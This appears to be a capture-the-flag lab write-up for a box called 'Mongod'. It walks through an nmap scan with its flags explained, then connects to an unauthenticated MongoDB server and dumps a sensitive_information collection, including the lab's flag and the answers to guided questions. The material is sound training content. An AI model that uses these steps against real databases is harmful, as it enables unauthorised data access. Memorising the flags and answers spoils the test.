

Mongod



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(root@kali)-[/home/alvadelg]
# nmap -sS -p- -sV -O -A --top-ports 30000 -oN scan.txt 10.129.5.112

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 15:54 CET
Nmap scan report for 10.129.5.112
Host is up (0.044s latency).
Not shown: 8375 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256  b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256  18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
27017/tcp  open  mongodb  MongoDB 3.6.8 3.6.8
| mongodb-info:
|   MongoDB Build info
|   version = 3.6.8
|   buildEnvironment
|     linkflags = -Wl,-Bsymbolic-functions -Wl,-z,relro -pthread -Wl,-z,now
-rdynamic -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-s
tyle=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
|     target_arch = x86_64
|     distarch = x86_64
|     cc = cc: cc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
|     cxxflags = -g -O2 -fdebug-prefix-map=/build/mongodb-F09rLu/mongodb-3.
6.9+really3.6.8+90~g8e540c0b6d=. -fstack-protector-strong -Wformat -Werror=fo
rmat-security -Woverloaded-virtual -Wpessimizing-move -Wredundant-move -Wno-m
aybe-uninitialized -Wno-class-memaccess -std=c++14
|     target_os = linux
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Explanation of Each Argument

-sS: SYN Scan

This performs a TCP SYN scan, which is a stealthy scan method. It sends SYN packets and waits for SYN-ACK responses, allowing you to discover open ports without completing the TCP handshake.

-p-: Scan All Ports

This option tells Nmap to scan all 65,535 TCP ports instead of just the default 1,000 ports.

-sV: Version Detection

This option tells Nmap to detect the versions of the services running on open ports.

-O: OS Detection

This flag enables OS detection, allowing Nmap to determine the operating system of the target host.

-A: Aggressive Scan

This enables several advanced and intrusive options, including OS detection (-O), version detection (-sV), script scanning (-sC), and traceroute.

--top-ports 30000: Scan the Top 30,000 Ports

This tells Nmap to scan the top 30,000 most commonly used ports, which covers a large subset of all 65,535 ports.

-oN scan.txt: Output to a File

This option specifies that the scan results should be saved in normal format to a file named scan.txt.

How many TCP ports are open on the machine?

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Which service is running on port 27017 of the remote host?

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27017/tcp open  mongod  MongoDB 3.6.8 3.6.8
```

MongoDB 3.6.8

What type of database is MongoDB? (Choose: SQL or NoSQL)

NoSQL

What is the command name for the Mongo shell that is installed with the mongodb-clients package?

Mongosh

https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/mongodb/mongodb_hacking.md commands for Mongodb Pentesting

What is the command used for listing out the collections in a database? (No need to include a trailing ;)

show collections

In this machine, I encountered issues with the latest version of MongoDB while attempting to perform a specific technique. To resolve these issues, I had to install version 3.6.8 of MongoDB. The older version was necessary because the latest version was causing errors and compatibility problems with the technique I was using.

```
(root@kali)-[/home/alvadelg]
# sudo systemctl start mongod

(root@kali)-[/home/alvadelg]
# sudo systemctl status mongod

● mongod.service - MongoDB Database Server
   Loaded: loaded (/usr/lib/systemd/system/mongod.service; disabled; prese>
   Active: active (running) since Thu 2025-02-13 19:21:02 CET; 5s ago
 Invocation: 0116107436ba4bcb9f43746459be52f9
    Docs: https://docs.mongodb.org/manual
   Main PID: 14964 (mongod)
  Memory: 71.6M (peak: 71.9M)
     CPU: 269ms
    CGroup: /system.slice/mongod.service
            └─14964 /usr/bin/mongod --config /etc/mongod.conf

feb 13 19:21:02 kali systemd[1]: Started mongod.service - MongoDB Database S>
feb 13 19:21:02 kali mongod[14964]: {"t":{"$date":"2025-02-13T18:21:02.987Z"}>
lines 1-13/13 (END)
```

We need to have the same version of mongo:

```
(root@kali) [/home/alvadelg]
# mongo --version

MongoDB shell version v3.6.8
git version: 6bc9ed599c3fa164703346a22bad17e33fa913e4
OpenSSL version: OpenSSL 1.1.1f 31 Mar 2020
allocator: tcmalloc
modules: none
build environment:
  distmod: debian92
  distarch: x86_64
  target_arch: x86_64
```

```
(root@kali) [/home/alvadelg]
# mongo --host 10.129.228.30

MongoDB shell version v3.6.8
connecting to: mongodb://10.129.228.30:27017/
MongoDB server version: 3.6.8
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
  http://docs.mongodb.org/
Questions? Try the support group
  http://groups.google.com/group/mongodb-user
Server has startup warnings:
2025-02-13T18:28:30.232+0000 I STORAGE [initandlisten]
2025-02-13T18:28:30.232+0000 I STORAGE [initandlisten] ** WARNING: Using the
  XFS filesystem is strongly recommended with the WiredTiger storage engine
2025-02-13T18:28:30.232+0000 I STORAGE [initandlisten] ** See http:
  //dochub.mongodb.org/core/prodnotes-filesystem
2025-02-13T18:28:32.764+0000 I CONTROL [initandlisten]
2025-02-13T18:28:32.764+0000 I CONTROL [initandlisten] ** WARNING: Access co
  ntrol is not enabled for the database.
2025-02-13T18:28:32.764+0000 I CONTROL [initandlisten] ** Read and
  write access to data and configuration is unrestricted.
2025-02-13T18:28:32.764+0000 I CONTROL [initandlisten]
> 
```

Explanation of Each Argument

mongo:

This is the command-line client for MongoDB databases. It is used to interact with the MongoDB server.

--host 10.129.229.30:

This specifies the IP address of the MongoDB server you want to connect to. In this case, the MongoDB server is located at the IP address 10.129.229.30.

```
> show dbs
admin                0.000GB
config               0.000GB
local                0.000GB
sensitive_information 0.000GB
users                0.000GB
```

Show dbs for seeing the databases.

What is the command used for dumping the content of all the documents within the collection named flag in a format that is easy to read?

`db.flag.find().pretty()`

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system.version
> db.system.version.find().pretty()
{ "_id" : "featureCompatibilityVersion", "version" : "3.6" }
> show dbs
admin                0.000GB
config               0.000GB
local                0.000GB
sensitive_information 0.000GB
users                0.000GB
> use sensitive_information
switched to db sensitive_information
> show collections
flag
> db.flag.find().pretty()
{
  "_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
  "flag" : "1b6e6fb359e7c40241b6d431427ba6ea"
}
>
```

`db.flag:`

This specifies the collection flag within the currently selected database. The db object represents the current database, and flag is the name of the collection you want to query.

`find():`

This method retrieves all documents from the specified collection. Without any parameters, find() returns all documents in the collection.

`pretty():`

This method formats the output of the find() query in a readable, pretty-printed JSON format. This makes it easier to read and understand the structure of the documents

